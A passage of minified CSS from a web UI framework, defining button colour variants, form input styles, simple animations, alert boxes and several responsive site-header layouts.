0}.btn-primary-line:hover:not(.disabled){color:#fff;background-color:var(--color-primary)}.btn-primary-line.disabled,.btn-primary-line:disabled{background-color:#f8f8f8}.btn-primary-line:not(:disabled):not(.disabled).active,.btn-primary-line:not(:disabled):not(.disabled):active{background-color:var(--color-primary)}.btn-success{color:#fff;background-color:var(--color-success);border-color:var(--color-success)}.btn-success:hover:not(.disabled){color:#fff;background-color:var(--color-success-dark);border-color:var(--color-success-dark)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:var(--color-success)}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active{color:#fff;background-color:var(--color-success-dark)}.btn-success.gradient{background-image:linear-gradient(45deg,var(--color-success-dark),var(--color-success))}.btn-warning{color:#fff;background-color:var(--color-warning);border-color:var(--color-warning)}.btn-warning:hover:not(.disabled){color:#fff;background-color:var(--color-warning-dark);border-color:var(--color-warning-dark)}.btn-warning.disabled,.btn-warning:disabled{color:#fff;background-color:var(--color-warning)}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active{color:#fff;background-color:var(--color-warning-dark)}.btn-warning.gradient{background-image:linear-gradient(45deg,var(--color-warning-dark),var(--color-warning))}.btn-danger{color:#fff;background-color:var(--color-danger);border-color:var(--color-danger)}.btn-danger:hover:not(.disabled){color:#fff;background-color:var(--color-danger-dark);border-color:var(--color-danger-dark)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:var(--color-danger)}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active{color:#fff;background-color:var(--color-danger-dark)}.btn-danger.gradient{background-image:linear-gradient(45deg,var(--color-danger-dark),var(--color-danger))}.btn-vip{background-image:linear-gradient(90deg,#edd3b0 0,#ddb888 100%);color:#805d2d;border-color:#edd3b0}.btn-vip:active,.btn-vip:hover,.btn-vip:not(:disabled):not(.disabled):active{background-image:linear-gradient(90deg,#ddb888 100%,#edd3b0 0);color:#805d2d!important;border-color:#edd3b0!important}.btn-block{display:block;width:100%;box-sizing:border-box}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}input,select,textarea{box-sizing:border-box;margin:0;border-radius:.15rem;font:inherit;color:inherit}select{text-transform:none}optgroup{font:inherit;font-weight:700}input::-moz-focus-inner{border:0;padding:0}input[type=checkbox],input[type=radio]{padding:0}input[type=checkbox]:not(:disabled),input[type=radio]:not(:disabled){cursor:pointer}input:not([type]),input[type=datetime],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],textarea{-webkit-appearance:none}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}fieldset{border:none;margin:0;padding:0}textarea{overflow:auto;vertical-align:top}::-moz-placeholder{opacity:1}:invalid{box-shadow:none}input:not([type=radio]):not([type=checkbox]),select{vertical-align:middle}input:not([type]),input[type=color],input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week],select,textarea{line-height:1;max-width:100%;padding:.2rem .3rem;border:.05rem solid var(--color-body-line);background:var(--color-input-light-bg);color:var(--color-text)}input:not([type]):focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--color-primary-light);outline:0;color:var(--color-text)}input:not([type]):disabled,input[type=color]:disabled,input[type=date]:disabled,input[type=datetime-local]:disabled,input[type=datetime]:disabled,input[type=email]:disabled,input[type=month]:disabled,input[type=number]:disabled,input[type=password]:disabled,input[type=search]:disabled,input[type=tel]:disabled,input[type=text]:disabled,input[type=time]:disabled,input[type=url]:disabled,input[type=week]:disabled,select:disabled,textarea:disabled{border-color:var(--color-body-line);background-color:#f5f7fa;color:#c4cfdb}input[type=color]:read-only,input[type=date]:read-only,input[type=datetime-local]:read-only,input[type=datetime]:read-only,input[type=email]:read-only,input[type=month]:read-only,input[type=number]:read-only,input[type=password]:read-only,input[type=search]:read-only,input[type=tel]:read-only,input[type=text]:read-only,input[type=time]:read-only,input[type=url]:read-only,input[type=week]:read-only,textarea:read-only{border-color:#ddd;background-color:#f5f7fa;color:#666}:-ms-input-placeholder{color:#c4cfdb!important}::-moz-placeholder{color:#c4cfdb}::-webkit-input-placeholder{color:#c4cfdb}:disabled:-ms-input-placeholder{color:#c4cfdb!important}:disabled::-moz-placeholder{color:#c4cfdb}:disabled::-webkit-input-placeholder{color:#c4cfdb}legend{width:100%;border:0;padding:0;padding-bottom:.75rem;font-size:.9rem;line-height:1.5rem}legend:after{content:"";display:block;border-bottom:.05rem solid #ddd;width:100%}select.success{border-color:var(--color-success);color:var(--color-success)}select.warning{border-color:var(--color-warning);color:var(--color-warning)}select.danger{border-color:var(--color-danger);color:var(--color-danger)}input:not([type]).form,input[type].form,select.form,textarea.form{height:1.6rem;font-size:.65rem}input:not([type]).form-lg,input[type].form-lg,select.form-lg,textarea.form-lg{height:2rem;padding:.6rem .3rem;font-size:.8rem}input:not([type]).form-sm,input[type].form-sm,select.form-sm,textarea.form-sm{height:1.4rem;padding:.15rem .15rem;font-size:.5rem}select[multiple],select[size],textarea{height:auto}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:var(--color-input-placeholder)}input:-moz-placeholder,textarea::-webkit-input-placeholder{color:var(--color-input-placeholder)}input::-moz-placeholder,textarea::-webkit-input-placeholder{color:var(--color-input-placeholder)}input:-ms-input-placeholder,textarea::-webkit-input-placeholder{color:var(--color-input-placeholder)}@keyframes animate-rotate{0%{transform:rotate(0)}50%{transform:rotate(180deg)}100%{transform:rotate(360deg)}}.animate-rotate{animation:animate-rotate 2s infinite linear}@keyframes animate-pulse{from{transform:scale3d(1,1,1)}50%{transform:scale3d(1.05,1.05,1.05)}to{transform:scale3d(1,1,1)}}.animate-pulse{animation-name:animate-pulse}@keyframes animate-swing{20%{transform:rotate3d(0,0,1,15deg)}40%{transform:rotate3d(0,0,1,-10deg)}60%{transform:rotate3d(0,0,1,5deg)}80%{transform:rotate3d(0,0,1,-5deg)}to{transform:rotate3d(0,0,1,0deg)}}.animate-swing{animation:animate-swing 1s infinite}@keyframes animate-beat{from{transform:scale(1)}40%{transform:scale(1.05)}80%{transform:scale(1)}to{transform:scale(1)}}.animate-beat{animation:animate-beat 1s infinite}.ub-alert{margin-bottom:.5rem;padding:.5rem;background:#ebf7fd;color:#2d7091;border-radius:.2rem}.ub-alert.success{background:var(--color-success-light);color:var(--color-success)}.ub-alert.warning{background:var(--color-warning-light);color:var(--color-warning)}.ub-alert.danger{background:var(--color-danger-light);color:var(--color-danger)}.ub-alert>.ub-close:first-child{float:right}.ub-alert>.ub-close:first-child+*{margin-top:0}.ub-alert.lg{padding:1rem}.ub-alert.lg>.ub-close:first-child{margin:-.5rem -.5rem 0 0}.ub-header{height:3rem;background-color:var(--color-content-bg)}.ub-header.primary{background:var(--color-primary)}.ub-header.primary .menu a{color:#eee}.ub-header.primary .menu a.active,.ub-header.primary .menu a:hover{color:#fff}.ub-header.primary .menu-toggle{color:#fff}.ub-header.transparent{background-color:transparent}.ub-header.transparent .menu-toggle{color:#fff}.ub-header.transparent .menu .item{color:#eee}.ub-header.transparent .menu .item:hover{color:#fff}.ub-header.transparent .menu .item.active{color:#bbb}.ub-header.lg{padding:.5rem 0}.ub-header.lg .menu .item{font-size:.9rem}.ub-header.absolute{position:absolute;top:0;left:0;right:0;z-index:2000}.ub-header .logo{float:left;display:block}.ub-header .logo a{line-height:3rem;height:3rem;display:block;font-size:1rem;vertical-align:middle}.ub-header .logo a img{height:3rem;vertical-align:middle;display:block}.ub-header .logo a span{vertical-align:middle;display:block;color:#666}.ub-header .menu{float:right;padding:.5rem 0}.ub-header .menu a{display:inline-block;line-height:2rem;color:#666;padding:0 .5rem;margin-left:1rem;font-size:.7rem;transition:linear all .2s}.ub-header .menu a:hover{color:#333;transform:translateY(-.25rem)}.ub-header .menu a.active{color:var(--color-primary)}.ub-header .menu-toggle{display:none}@media screen and (max-width:40rem){.ub-header.transparent{background:0 0}.ub-header.transparent .menu .item{color:#333}.ub-header.transparent .menu .item:hover{color:#333}.ub-header.lg{padding:0}.ub-header{text-align:center;height:2.5rem}.ub-header .logo{padding:0 .25rem}.ub-header .logo a{margin-right:-1.25rem;height:2.5rem}.ub-header .logo a img{height:2.5rem}.ub-header .menu{position:fixed;display:block;background:#fff;top:2.5rem;right:-50%;bottom:0;overflow:hidden;width:50%;transition:right .5s;text-align:left;z-index:100}.ub-header .menu a{display:block;border-bottom:.05rem solid #eee;background:#fff}.ub-header .menu-toggle{display:block;float:right;line-height:2.5rem;font-size:1.2rem;text-align:center;width:2.5rem;cursor:pointer;color:var(--color-primary)}.ub-header .menu-toggle .close{display:none}.ub-header .menu-toggle .show{display:block}.ub-header.show .menu-mask{content:'';display:block;background:var(--color-mask);position:fixed;top:2.5rem;right:0;bottom:0;left:0;z-index:99}.ub-header.show .menu{right:0;transition:right .3s}.ub-header.show .menu-toggle .close{display:block}.ub-header.show .menu-toggle .show{display:none}}.ub-header-a{background:var(--color-primary)}.ub-header-a .top{height:1.5rem;line-height:1.5rem;background:var(--color-primary-dark)}.ub-header-a .top a{display:inline-block;margin:0 .5rem;line-height:1.5rem;color:#fff}.ub-header-a .top a:hover{color:#eee}.ub-header-a .top .right{float:right}.ub-header-a .background{padding:1rem 0;background:no-repeat right;background-size:contain}.ub-header-a .background .menu-toggle{display:none}.ub-header-a .background .logo a img{height:4rem}.ub-header-a .menu{padding:0;margin:0;box-shadow:#eee 0 0 .1rem}.ub-header-a .menu li{display:inline-block;height:2.5rem;overflow:visible;position:relative}.ub-header-a .menu li a{display:inline-block;line-height:2.5rem;text-align:center;min-width:8em;color:#fff;font-size:var(--font-size-large);margin:0 .05rem}.ub-header-a .menu li a:hover{background:#fff;color:var(--color-primary)}.ub-header-a .menu li .sub{display:none;position:absolute;background:var(--color-primary);padding:0 .05rem .1rem .05rem;width:100%;z-index:100}.ub-header-a .menu li .sub a{min-width:inherit;display:block}.ub-header-a .menu li:hover .sub{display:block}@media screen and (max-width:40rem){.ub-header-a{position:relative;overflow:hidden}.ub-header-a .top{position:absolute;top:0;left:0;right:0;height:4rem;z-index:100;display:none}.ub-header-a .top .left,.ub-header-a .top .right{float:none;height:2rem}.ub-header-a .top .left a,.ub-header-a .top .right a{line-height:2rem}.ub-header-a .background{position:relative}.ub-header-a .background .menu-toggle{z-index:101;background:rgba(0,0,0,.2);display:block;width:2.5rem;height:2.5rem;line-height:2.5rem;text-align:center;font-size:var(--font-size-large);color:#fff;border-radius:0;position:absolute;right:0;top:0;border:.05rem solid var(--color-primary)}.ub-header-a .menu{position:absolute;left:0;right:0;top:4rem;background:var(--color-primary);display:none;z-index:100}.ub-header-a .menu li{display:block;height:auto;padding:0 0 0 .5rem;border-top:.05rem solid var(--color-primary-light)}.ub-header-a .menu li a{display:block;text-align:left}.ub-header-a .menu li .sub{display:block;position:static;overflow:hidden;padding-left:.5rem}.ub-header-a .menu li .sub a{border-top:.05rem solid var(--color-primary);display:block;width:33.33%;float:left;margin:0;text-align:center}}.ub-header-b-placeholder{height:3rem;overflow:hidden}.ub-header-b{height:3rem;background-color:var(--color-content-bg);overflow:visible}.ub-header-b.fixed{position:fixed;top:0;right:0;left:0;z-index:2000}.ub-header-b.transparent{background:0 0}.ub-header-b.transparent .nav .nav-item,.ub-header-b.transparent .nav a{color:#eee}.ub-header-b.transparent .nav .nav-item.active,.ub-header-b.transparent .nav .nav-item:hover,.ub-header-b.transparent .nav a.active,.ub-header-b.transparent .nav a:hover{color:#fff}.ub-header-b.transparent .menu>.item>a,.ub-header-b.transparent .menu>a{color:#fff}.ub-header-b.transparent .menu>.item>a.active,.ub-header-b.transparent .menu>.item>a:hover,.ub-header-b.transparent .menu>a.active,.ub-header-b.transparent .menu>a:hover{color:#eee}.ub-header-b.primary{background:var(--color-primary)}.ub-header-b.primary .nav a{color:#eee}.ub-header-b.primary .nav a.active,.ub-header-b.primary .nav a:hover{color:#fff}.ub-header-b.primary .nav .sub-nav-item{color:var(--color-text)}.ub-header-b.primary .menu a{color:#eee}.ub-header-b.primary .menu a.active,.ub-header-b.primary .menu a:hover{color:#fff}.ub-header-b .logo{padding:0 0;float:left;margin-right:2rem}.ub-header-b .logo a{height:3rem;line-height:3rem;display:block;font-size:1rem;vertical-align:middle}.ub-header-b .logo a img{height:3rem;vertical-align:middle;display:block}.ub-header-b .nav{padding:.5rem 0 .5rem .5rem}.ub-header-b .nav .nav-item,.ub-header-b .nav a{display:inline-block;line-height:2rem;color:var(--color-text);padding:0 .5rem;font-size:.7rem;position:relative}.ub-header-b .nav .nav-item:hover,.ub-header-b .nav a:hover{color:var(--color-primary)}.ub-header-b .nav .nav-item:hover .sub-nav,.ub-header-b .nav a:hover .sub-nav{display:block}.ub-header-b .nav .nav-item.active,.ub-header-b .nav a.active{color:var(--color-primary)}.ub-header-b .nav .nav-item .sub-title,.ub-header-b .nav a .sub-title{display:inline-block;line-height:2rem;cursor:pointer}.ub-header-b .nav .nav-item .sub-title a,.ub-header-b .nav a .sub-title a{padding:0;margin:0}.ub-header-b .nav .nav-item .sub-nav,.ub-header-b .nav a .sub-nav{position:absolute;top:2rem;left:0;background:var(--color-content-bg);z-index:99999;border-radius:.25rem;box-shadow:0 0 2px var(--color-body-line);display:none;padding:0}.ub-header-b .nav .nav-item .sub-nav .sub-nav-item,.ub-header-b .nav a .sub-nav .sub-nav-item{display:block;line-height:2rem;white-space:nowrap;margin-left:0}.ub-header-b .nav .nav-item .sub-nav .sub-nav-item:hover,.ub-header-b .nav a .sub-nav .sub-nav-item:hover{color:var(--color-primary)}.ub-header-b .nav .nav-item .sub-nav .sub-nav-group,.ub-header-b .nav a .sub-nav .sub-nav-group{position:relative}.ub-header-b .nav .nav-item .sub-nav .sub-nav-group:hover .sub-nav-group-nav,.ub-header-b .nav a .sub-nav .sub-nav-group:hover .sub-nav-group-nav{display:block}.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-item,.ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-item{display:block;line-height:2rem;cursor:pointer;white-space:nowrap}.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-nav,.ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-nav{position:absolute;z-index:99999;border-radius:.25rem;box-shadow:0 0 .25rem var(--color-body-line);display:none;left:100%;top:0;background:var(--color-content-bg)}.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-nav .sub-nav-group-nav-item,.ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-nav .sub-nav-group-nav-item{white-space:nowrap;display:block;line-height:2rem;cursor:pointer}.ub-header-b .nav .nav-item .sub-title a:after{content:'';display:inline-block;width:0;height:0;border-width:.25rem;border-style:solid;border-color:var(--color-muted) transparent transparent transparent;vertical-align:middle;transform:translateY(.1rem);margin-left:.1rem}.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-item:after{content:'';display:inline-block;width:0;height:0;border-width:.25rem;border-style:solid;border-color:transparent transparent transparent var(--color-muted);vertical-align:middle;transform:translateY(-.1rem);margin-left:.1rem}.ub-header-b .nav .search{float:right;display:inline-block;height:2rem;border-radius:1rem;padding:.2rem .5rem .2rem .75rem;width:16em;border:.05rem solid var(--color-body-line);transition:box-shadow .3s;background-color:var(--color-content-bg)}.ub-header-b .nav .search:focus-within,.ub-header-b .nav .search:hover{box-shadow:0 0 10px #ccc;border-color:transparent}.ub-header-b .nav .search.has-drop .box input{padding-left:2.3rem}.ub-header-b .nav .search .search-select{position:absolute;width:1.6rem;top:0;overflow:visible}.ub-header-b .nav .search .search-select.show .search-select-drop{display:block}.ub-header-b .nav .search .search-select .search-select-box{height:1.5rem;line-height:1.5rem;white-space:nowrap;color:var(--color-tertiary-light);cursor:pointer}.ub-header-b .nav .search .search-select .search-select-box .iconfont{margin:0;color:var(--color-muted)}.ub-header-b .nav .search .search-select .search-select-drop{position:absolute;background:#fff;box-shadow:0 0 5px #999;border-radius:.25rem;left:-.5rem;top:1.5rem;display:none;z-index:1000}.ub-header-b .nav .search .search-select .search-select-drop .search-select-item{display:block;color:var(--color-text);white-space:nowrap;padding:0;margin-left:0;width:2.5rem;text-align:center;line-height:1.5rem}.ub-header-b .nav .search .search-select .search-select-drop .search-select-item:hover{color:var(--color-primary)}.ub-header-b .nav .search .box{vertical-align:middle;position:relative}.ub-header-b .nav .search .box input{height:1.5rem;display:block;width:100%;padding:0 1.5rem 0 0;border:none;background:0 0;color:var(--color-text)}.ub-header-b .nav .search .box button{position:absolute;right:0;top:0;height:1.5rem;width:1.5rem;border:none;outline:0;font-size:.9rem;color:#c4cfdb;cursor:pointer;background:0 0}.ub-header-b .nav .search .box button:hover{color:var(--color-primary)}.ub-header-b .menu{float:right;padding:.5rem 0}.ub-header-b .menu .item,.ub-header-b .menu a{display:inline-block;line-height:2rem;color:var(--color-text);margin-left:.5rem;font-size:.7rem;position:relative;height:2rem}.ub-header-b .menu .item:hover .sub-title,.ub-header-b .menu a:hover .sub-title{color:var(--color-primary)}.ub-header-b .menu .item:hover .sub-nav,.ub-header-b .menu a:hover .sub-nav{display:block}.ub-header-b .menu .item .sub-nav,.ub-header-b .menu a .sub-nav{position:absolute;background:var(--color-content-bg);z-index:99999;border-radius:.25rem;box-shadow:0 0 2px var(--color-body-line);display:none;right:0}.ub-header-b .menu .item .sub-nav .sub-nav-item,.ub-header-b .menu a .sub-nav .sub-nav-item{display:block;line-height:2rem;white-space:nowrap;margin-left:0;padding:0 .5rem}.ub-header-b .menu .item .sub-nav .sub-nav-item:hover,.ub-header-b .menu a .sub-nav .sub-nav-item:hover{color:var(--color-primary)}.ub-header-b .menu .item.menu-btn,.ub-header-b .menu a.menu-btn{border-radius:1rem;height:1.5rem;line-height:1.5rem;padding:0 .5rem;color:#fff}.ub-header-b .menu .item.menu-btn .icon,.ub-header-b .menu .item.menu-btn .iconfont,.ub-header-b .menu a.menu-btn .icon,.ub-header-b .menu a.menu-btn .iconfont{line-height:1.5rem}.ub-header-b .menu .item .icon,.ub-header-b .menu .item .iconfont,.ub-header-b .menu a .icon,.ub-header-b .menu a .iconfont{line-height:2rem;vertical-align:top;width:.8rem;display:inline-block;text-align:center}.ub-header-b .menu .item .badge,.ub-header-b .menu a .badge{position:absolute;top:0;right:-.3rem;background:red;color:#fff;height:.8rem;line-height:.8rem;font-size:.6rem;border-radius:.4rem;min-width:.8rem;text-align:center;padding:0 .2rem}.ub-header-b .menu .item .badge.hide,.ub-header-b .menu a .badge.hide{display:none}.ub-header-b .menu .item:hover,.ub-header-b .menu a:hover{color:#333}.ub-header-b .menu .item .active,.ub-header-b .menu a .active{color:#fff}.ub-header-b .nav-toggle{display:none}@media screen and (min-width:40rem){[data-header-sticky-disable] .ub-header,[data-header-sticky-disable] .ub-header-b{top:-3rem!important}.ub-header,.ub-header-b{position:sticky;transition:top .3s;z-index:2000;top:-3rem}html.body-scroll-far .ub-header,html.body-scroll-far .ub-header-b{top:0;box-shadow:0 4px 8px 0 rgba(0,0,0,.05)}html.body-scroll-far .ub-header-b.transparent,html.body-scroll-far .ub-header.transparent{background-color:#fff}html.body-scroll-far .ub-header-b.transparent .nav .nav-item,html.body-scroll-far .ub-header-b.transparent .nav a,html.body-scroll-far .ub-header.transparent .nav .nav-item,html.body-scroll-far .ub-header.transparent .nav a{color:var(--color-text)}html.body-scroll-far .ub-header-b.transparent .nav .nav-item.active,html.body-scroll-far .ub-header-b.transparent .nav .nav-item:hover,html.body-scroll-far .ub-header-b.transparent .nav a.active,html.body-scroll-far .ub-header-b.transparent .nav a:hover,html.body-scroll-far .ub-header.transparent .nav .nav-item.active,html.body-scroll-far .ub-header.transparent .nav .nav-item:hover,html.body-scroll-far .ub-header.transparent .nav a.active,html.body-scroll-far .ub-header.transparent .nav a:hover{color:var(--color-primary)}html.body-scroll-far .ub-header-b.transparent .menu>.item>a,html.body-scroll-far .ub-header-b.transparent .menu>a,html.body-scroll-far .ub-header.transparent .menu>.item>a,html.body-scroll-far .ub-header.transparent .menu>a{color:var(--color-text)}html.body-scroll-far .ub-header-b.transparent .menu>.item>a.active,html.body-scroll-far .ub-header-b.transparent .menu>.item>a:hover,html.body-scroll-far .ub-header-b.transparent .menu>a.active,html.body-scroll-far .ub-header-b.transparent .menu>a:hover,html.body-scroll-far .ub-header.transparent .menu>.item>a.active,html.body-scroll-far .ub-header.transparent .menu>.item>a:hover,html.body-scroll-far .ub-header.transparent .menu>a.active,html.body-scroll-far .ub-header.transparent .menu>a:hover{color:var(--color-primary)}}@media screen and (max-width:40rem){.ub-header-b{text-align:left;height:2.5rem}.ub-header-b.transparent.show .nav a{color:var(--color-text)}.ub-header-b.transparent .nav-toggle{color:#fff}.ub-header-b .logo{display:inline-block;margin-left:2.5rem}.ub-header-b .logo a{height:2.5rem;line-height:2.5rem}.ub-header-b .logo a img{height:2.5rem}.ub-header-b.show .nav-mask{content:'';display:block;background:var(--color-mask);position:fixed;top:2.5rem;right:0;bottom:0;left:0;z-index:1000}.ub-header-b.show .nav{transform:translateX(100%);position:fixed}.ub-header-b.show .nav-toggle .close{display:block}.ub-header-b.show .nav-toggle .show{display:none}.ub-header-b .menu{position:absolute;right:0;top:0;padding:.25rem 0}.ub-header-b .menu a{display:inline-block;padding:0 .3rem 0 0;background:0 0;line-height:2rem}.ub-header-b .nav-toggle{display:block;position:absolute;left:0;top:0;line-height:2.5rem;font-size:1.2rem;text-align:center;width:2.5rem;cursor:pointer;color:var(--color-primary)}.ub-header-b .nav-toggle .close{display:none}.ub-header-b .nav-toggle .show{display:block}.ub-header-b.primary .nav-toggle{color:#fff}.ub-header-b .nav{position:absolute;display:block;background:var(--color-content-bg);top:2.5rem;left:-60%;bottom:0;overflow:hidden;width:60%;transition:right .5s;text-align:left;z-index:100;overflow-y:auto;padding-right:.5rem;transition:transform .3s;transform:translateX(0);z-index:1001}.ub-header-b .nav .search{display:block;float:none;margin:0 auto .5rem auto;width:auto}.ub-header-b .nav .nav-item,.ub-header-b .nav a{display:block;background:var(--color-content-bg)}.ub-header-b .nav .nav-item .sub-nav,.ub-header-b .nav a .sub-nav{display:block;position:static;box-shadow:none}.ub-header-b .nav .nav-item .sub-nav .sub-nav-item:last-child,.ub-header-b .nav a .sub-nav .sub-nav-item:last-child{border-bottom:none}.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-nav,.ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-nav{display:block;position:static;padding-left:.5rem;box-shadow:none}.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-item:after,.ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-item:after{border-color:var(--color-muted) transparent transparent transparent;transform:translateY(-.1rem)}.ub-header-b.primary .nav a{color:#333}.ub-header-b.primary .nav a.active{color:var(--color-primary)}}.ub-header-c-placeholder{height:3rem;overflow:hidden}.ub-header-c{height:3rem;background:var(--color-content-bg);overflow:hidden;position:fixed;text-align:center;top:0;left:0;right:0;z-index:1000}.ub-header-c .logo{position:absolute;top:0;left:3rem}.ub-header-c .logo .logo-link{line-height:2rem;display:inline-block;padding:.5rem 0;font-size:1rem;vertical-align:middle}.ub-header-c .logo .logo-link .logo-image{height:2rem;vertical-align:middle;display:inline-block}.ub-header-c .search .box{vertical-align:middle;margin-top:.5rem;display:inline-block;height:2rem;border-radius:1rem;padding:.2rem .5rem .2rem .75rem;width:30%;max-width:30em;border:1px solid var(--color-body-line);position:relative;background-color:var(--color-body-bg)}.ub-header-c .search .box .input{height:1.5rem;display:block;width:100%;padding:0 1.5rem 0 0;border:none;background:0 0;color:var(--color-text)}.ub-header-c .search .box .submit{position:absolute;right:0;top:0;height:1.9rem;border:none;outline:0;font-size:.7rem;color:var(--color-text);cursor:pointer;background:var(--color-body-bg);border-radius:0 1rem 1rem 0;padding:0 .6rem 0 .5rem}.ub-header-c .search .box .submit:hover{background:var(--color-body-bg);color:var(--color-primary)}.ub-header-c .menu{position:absolute;right:0;top:0;padding:.6rem 1rem 0 0}.ub-header-c .menu .item{vertical-align:middle;display:inline-block;line-height:1.6rem;height:1.6rem;padding:0 .6rem;margin-left:.5rem;font-size:.7rem;border-radius:4px;border:solid 1px var(--color-primary);color:var(--color-primary);cursor:pointer}.ub-header-c .menu .item-icon{vertical-align:middle;color:var(--color-text);display:inline-block;padding:0 .6rem;margin-top:-.2rem}.ub-header-c .menu .item-icon .icon{font-size:1rem;line-height:1.4rem}.ub-header-c .menu .item-icon .text{font-size:var(--font-size-small)}.ub-header-c .menu .item-icon:hover{color:var(--color-primary)}.ub-header-c .menu-mask,.ub-header-c .menu-toggle,.ub-header-c .search-toggle{display:none}@media screen and (max-width:40rem){.ub-header-c{padding:0 3rem;text-align:center}.ub-header-c.show .menu-mask{content:'';display:block;background:var(--color-mask);position:fixed;top:3rem;right:0;bottom:0;left:0;z-index:1000}.ub-header-c.show .menu{z-index:1001;right:0;transition:right .3s}.ub-header-c.show .menu-toggle .close{display:block}.ub-header-c.show .menu-toggle .show{display:none}.ub-header-c.show-search .search-mask{content:'';display:block;background:var(--color-mask);position:fixed;top:3rem;right:0;bottom:0;left:0;z-index:1000}.ub-header-c.show-search .search{z-index:1001;display:block}.ub-header-c.show-search .search-toggle .close{display:block}.ub-header-c.show-search .search-toggle .show{display:none}.ub-header-c .logo{position:static}.ub-header-c .search-toggle{display:block;position:absolute;left:0;top:0;line-height:3rem;font-size:1.2rem;text-align:center;width:3rem;cursor:pointer;color:var(--color-primary)}.ub-header-c .search-toggle .close{display:none}.ub-header-c .search-toggle .show{display:block}.ub-header-c .search{display:none;padding:0 .5rem .5rem .5rem;background:var(--color-content-bg);position:fixed;top:3rem;left:0;right:0;text-align:center}.ub-header-c .search .box{width:80%}.ub-header-c .menu-toggle{display:block;position:absolute;right:0;top:0;line-height:3rem;font-size:1.2rem;text-align:center;width:3rem;cursor:pointer;color:var(--color-primary)}.ub-header-c .menu-toggle .close{display:none}.ub-header-c .menu-toggle .show{display:block}.ub-header-c .menu{position:fixed;right:-8rem;top:3rem;background:#fff;padding:.5rem;border-radius:var(--size-radius)}.ub-header-c .menu .item-icon{width:6rem;font-size:1rem;padding:0;display:block;line-height:2rem;border-bottom:1px dotted #eee}.ub-header-c .menu .item-icon .icon{display:inline-block;font-size:1rem}.ub-header-c .menu .item-icon .text{display:inline-block;font-size:var(--font-size)}.ub-header-c .menu .item{display:block;margin-top:.5rem;margin-left:0}}.ub-header-d{background:#fff}.ub-header-d .top{background-color:rgba(236,236,236,.65);height:1.75rem}.ub-header-d .top .right{text-align:right}.ub-header-d .top .right .item{display:inline-block;line-height:1.75rem;color:#333;padding:0 1rem}.ub-header-d .main{height:4.7rem;border-bottom:.25rem solid rgba(236,236,236,.65)}.ub-header-d .main .menu{float:right}.ub-header-d .main .menu .item{color:var(--color-primary);font-size:var(--font-size-large);line-height:4.2rem;padding:0 1rem;display:inline-block;border-bottom:.25rem solid transparent;transition:border-bottom-color .5s}.ub-header-d .main .menu .item.active,.ub-header-d .main .menu .item:hover{border-bottom:.25rem solid var(--color-primary)}.ub-header-d .main .logo{height:4.7rem}.ub-header-d .main .logo a{display:inline-block;margin-top:.85rem}.ub-header-d .main .logo a img{height:3rem}.ub-header-d .menu-toggle{display:none}@media screen and (max-width:40rem){.ub-header-d{position:relative;overflow:hidden}.ub-header-d.show-menu .menu-toggle{transform:rotate(90deg)}.ub-header-d.show-menu .main .menu{right:0}.ub-header-d .menu-toggle{display:block;position:absolute;right:0;top:1.75rem;line-height:2.7rem;font-size:1.2rem;text-align:center;width:2.7rem;cursor:pointer;color:var(--color-primary);transition:all .5s}.ub-header-d .main{height:2.7rem}.ub-header-d .main .menu{position:fixed;right:-35%;top:4.2rem;width:30%;background:#fff;box-shadow:0 2px 5px #ccc;transition:all .5s;z-index:2000}.ub-header-d .main .menu .item{display:block;font-size:var(--font-size);line-height:2rem;text-align:center}.ub-header-d .main .logo{height:2.7rem}.ub-header-d .main .logo a{margin-top:.3rem}.ub-header-d .main .logo a img{height:2rem}}.ub-header-mobile.no-shadow .header-container{box-shadow:none}.ub-header-mobile .header-status{position:fixed;top:0;left:0;right:0;z-index:10000;background:var(--color-content-bg)}.ub-header-mobile .header-container{position:fixed;left:0;right:0;height:50px;z-index:500;box-shadow:0 1px 1px var(--color-body-line);background:var(--color-content-bg)}.ub-header-mobile .header-container .body{display:flex;height:50px;line-height:50px}.ub-header-mobile .header-container .body .left-wrap,.ub-header-mobile .header-container .body .right-wrap{flex-shrink:0}.ub-header-mobile .header-container .body.has-back .action{min-width:50px}.ub-header-mobile .header-container .body .back{font-size:32px;width:50px;line-height:50px;text-align:center;min-width:50px;flex-shrink:0}.ub-header-mobile .header-container .body .title{font-size:20px;line-height:50px;height:50px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;flex-grow:1;padding:0 .25rem}.ub-header-mobile .header-container .body .action{text-align:center;flex-shrink:0}.ub-header-mobile .header-container .body .action .item{line-height:50px;width:50px;text-align:center;display:block}.ub-header-mobile .header-container .body .action .iconfont{font-size:var(--font-size-large)}.ub-header-mobile .header-container-placeholder{height:50px;width:100%;clear:both}@media screen and (min-width:40rem){.ub-header-mobile 